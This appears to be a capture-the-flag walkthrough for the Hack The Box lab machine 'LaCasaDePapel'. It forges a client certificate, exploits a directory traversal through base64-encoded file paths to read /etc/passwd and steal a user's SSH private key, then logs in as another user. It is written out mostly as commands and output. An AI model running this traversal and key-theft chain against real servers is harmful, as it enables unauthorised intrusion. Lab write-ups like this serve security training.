3 :80 > :443

Using https://stackoverflow.com/questions/10175812/how-to-generate-a-self-signed-ssl-certificate-using-openssl

# METHOD 1 - Directly generate .pem and then .p12
$ openssl req -x509 -new -nodes -key ca.key -sha256 -out cert.pem -days 365 -subj '/CN=lacasadepapel.htb'
$ openssl pkcs12 -export -in cert.pem -inkey ca.key -out kashz.p12

# METHORD 2 - Generate .csr and use that to sign ca.key and generate .pem and then .p12
$ openssl req -new -key ca.key -out server.csr
# Common Name (e.g. server FQDN or YOUR name) []:lacasadepapel.htb
openssl x509 -req -days 365 -in server.csr -signkey ca.key -out server.crt
openssl pkcs12 -export -in server.crt -inkey ca.key -out kashz.p12


# import the .p12 access :443
# can access https://lacasadepapel.htb/
PRIVATE AREA
    SEASON-1
    SEASON-2
Select a season
https://lacasadepapel.htb/?path=SEASON-1
# its has .avi files for each episode but all empty.
# trying out directory traversal works
https://lacasadepapel.htb/?path=../

# trying to download a file fails
Error: ENOTDIR: not a directory, scandir '/home/berlin/downloads/../.ssh/id_rsa/'

# Trying to get SEASON-1/01.avi - > looking in Burp,
GET /file/U0VBU09OLTEvMDEuYXZp HTTP/1.1

$ echo "U0VBU09OLTEvMDEuYXZp" | base64 -d
SEASON-1/01.avi

$ curl -k https://lacasadepapel.htb/file/$(echo -n "../../../etc/passwd" | base64)
root:x:0:0:root:/root:/bin/ash
[truncated]
dali:x:1000:1000:dali,,,:/home/dali:/usr/bin/psysh
berlin:x:1001:1001:berlin,,,:/home/berlin:/bin/ash
professor:x:1002:1002:professor,,,:/home/professor:/bin/ash

# we are in berlin's directory as per the error
# checking the .ssh directory and downloading contents

$ curl -k https://lacasadepapel.htb/file/$(echo -n "../.ssh/id_rsa" | base64) -o berlin_id_rsa
$ curl -k https://lacasadepapel.htb/file/$(echo -n "../.ssh/authorized_keys" | base64) -o berlin_authorized_keys
$ curl -k https://lacasadepapel.htb/file/$(echo -n "../.ssh/id_rsa.pub" | base64) -o berlin_id_rsa.pub

$ cat berlin_authorized_keys
ssh-rsa AAAA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Kg8yjAukDx8bgVcbK+jKt95NcLoZjT7U1VQ== berlin@lacasadepapel.htb

# id_rsa.pub and authorized_keys DO NOT MATCH?
# trying ssh

# for user in berlin oslo nairobi professor dali ; do ssh -oBatchMode=yes -i ~/id_rsa_lacasadepapel_berlin $user@10.10.10.131; done
$ ssh -i berlin_id_rsa professor@10.10.10.131

 _             ____                  ____         ____                  _
| |    __ _   / ___|__ _ ___  __ _  |  _ \  ___  |  _ \ __ _ _ __   ___| |
| |   / _` | | |   / _` / __|/ _` | | | | |/ _ \ | |_) / _` | '_ \ / _ \ |
| |__| (_| | | |__| (_| \__ \ (_| | | |_| |  __/ |  __/ (_| | |_) |  __/ |
|_____\__,_|  \____\__,_|___/\__,_| |____/ \___| |_|   \__,_| .__/ \___|_|
                                                            |_|

lacasadepapel [~]$ whoami;id;hostname
professor
uid=1002(professor) gid=1002(professor) groups=1002(professor)
lacasadepapel

Last updated